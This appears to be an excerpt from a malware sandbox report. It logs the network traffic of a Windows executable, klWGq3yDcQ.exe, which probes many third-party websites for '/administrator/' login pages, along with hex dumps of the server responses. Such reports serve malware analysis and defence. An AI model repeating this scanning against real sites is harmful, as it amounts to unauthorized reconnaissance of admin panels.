78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://
Nov 26, 2023 06:59:29.909413099 CET	281	IN	Data Raw: 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 Data Ascii: www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	53707	162.241.224.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.722096920 CET	282	OUT	GET /administrator/index.php HTTP/1.1 Host: gasp-ga.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://gasp-ga.com/administrator/
Nov 26, 2023 06:59:29.908504963 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	55061	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.185000896 CET	233	OUT	GET /administrator/ HTTP/1.1 Host: greenrworld.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.285145998 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-117.ec2.internal X-Request-Id: 0809a905-3e9a-44dc-8e7b-9846c682d50a Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Nov 26, 2023 06:59:30.285533905 CET	290	OUT	GET /administrator/index.php HTTP/1.1 Host: greenrworld.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://greenrworld.com/administrator/
Nov 26, 2023 06:59:30.385456085 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-133.ec2.internal X-Request-Id: bc230627-bd1b-46ec-9823-cdff25e1e0bb Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	55073	104.200.30.31	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.203334093 CET	233	OUT	GET /administrator/ HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.302550077 CET	467	IN	HTTP/1.1 302 Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: https://edgewater.group/administrator/ Content-Length: 222 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 77 61 74 65 72 2e 67 72 6f 75 70 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://edgewater.group/administrator/">here</a>.</p></body></html>
Nov 26, 2023 06:59:32.259356022 CET	291	OUT	GET /administrator/index.php HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://edgewater.group/administrator/
Nov 26, 2023 06:59:32.359175920 CET	485	IN	HTTP/1.1 302 Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://edgewater.group/administrator/index.php Content-Length: 231 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 77 61 74 65 72 2e 67 72 6f 75 70 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://edgewater.group/administrator/index.php">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	55057	144.202.62.131	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.203663111 CET	238	OUT	GET /administrator/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.326839924 CET	513	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: https://gruporegiosafety.com/administrator/ Content-Length: 251 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://gruporegiosafety.com/administrator/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	55079	162.250.126.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.220201969 CET	238	OUT	GET /administrator/ HTTP/1.1 Host: directlendersllc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.323107004 CET	1006	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 707 date: Sun, 26 Nov 2023 05:59:29 GMT server: LiteSpeed location: https://mydirectlender.com/administrator/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	55072	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.234401941 CET	231	OUT	GET /administrator/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.378432035 CET	719	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 26 Nov 2023 06:59:30 GMT Location: https://esoft.academy/administrator/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xeiKGnCYBFRFcAiJL0%2BoLIs9wIHYZK3qKIE9EBs4HvqgjUnyLgGT1nptd8GV71cYaSlZpKcLBgk9b6F9QE14hMqCT0nSePEEMzUmMpA%2FcRJ3082u9WKymD4iHsd0piAE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 82bfe7de3bbb590e-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	55059	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.250561953 CET	237	OUT	GET /administrator/ HTTP/1.1 Host: rochester-gauges.be Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.418154001 CET	546	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Nov 2023 05:55:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	55060	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.267879963 CET	234	OUT	GET /administrator/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.638356924 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	55058	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.271151066 CET	235	OUT	GET /administrator/ HTTP/1.1 Host: hmichaelandco.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.093986034 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.33 content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Sun, 26 Nov 2023 05:59:30 GMT server: LiteSpeed Data Raw: 32 66 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 Data Ascii: 2f93}ks6gX,IQ/?d9dS&7[9$Pd{=Ao_v Az1FW]JB,+bI9G4#3z;v\|B\|y/I'RGGWK"ze ~KB6vt8~;wPKIHg4D?9:A5Y^&eH,YxE4!%HXq7<8pb\|B_L+-22;QXpI(d~UwzA/yf?M%8Mc>vigg.w^)?X;-+f4G[k8A8e:W%#X"@Hw(PDf4A oY"J@c,(:C-*1rVDF"NHP21c#E}%s1i~@ct?KSG}GNQ7^ pA=, p/8!Oi?,:.SERN`C_MAXh'ZU0i5Q$3&&BM%MAnf>B4FM3WmS6NL%~yshTr>5TDR9ly~B$,">M8d2B73
Nov 26, 2023 06:59:31.094002962 CET	1340	IN	Data Raw: 17 f1 7d 4c 7f 68 ef ea 5c 57 9d 7d ba e9 a8 d1 90 83 f4 9b 38 46 34 41 3f 25 04 bd fb e6 27 34 f0 03 bf 7b 0e 6a ef df 20 87 a0 22 26 d7 3f e3 39 41 09 13 68 c6 56 49 84 3e 23 f4 dd 8f 6a a0 44 27 78 99 5e a2 b7 cc bf ea a8 bc 50 4a da 10 6a 48 Data Ascii: }Lh\W}8F4A?%'4{j "&?9AhVI>#jD'x^PJjHnIDn5,',!*t-iB`YGu@!DDhpgvK Yq;0PN_nd&;Ib[jt1#$R5(xa:wIC9G74?I}
Nov 26, 2023 06:59:31.094017029 CET	1340	IN	Data Raw: 9a 64 02 6c 61 0f c7 74 9e 8c 90 17 f8 1b 90 41 84 e7 19 18 e4 75 04 a5 38 8a 60 84 41 41 89 9e 07 60 1e f0 ec fa c8 32 be 9b 32 89 2f 08 11 4d 44 a3 71 f3 26 f5 a6 31 0b 3f 79 31 9d 66 38 bb f3 42 ce 9b 48 9b cc bb d6 ca 8c 55 d4 09 39 ef 44 94 Data Ascii: dlatAu8`AA`22/MDq&1?y1f8BHU9DN-[QS5I\KQ<n85I"qOV`^4XvB;No$-Yuc6EY.ZAXE^MYtwy71N,fMc~@.kw87'
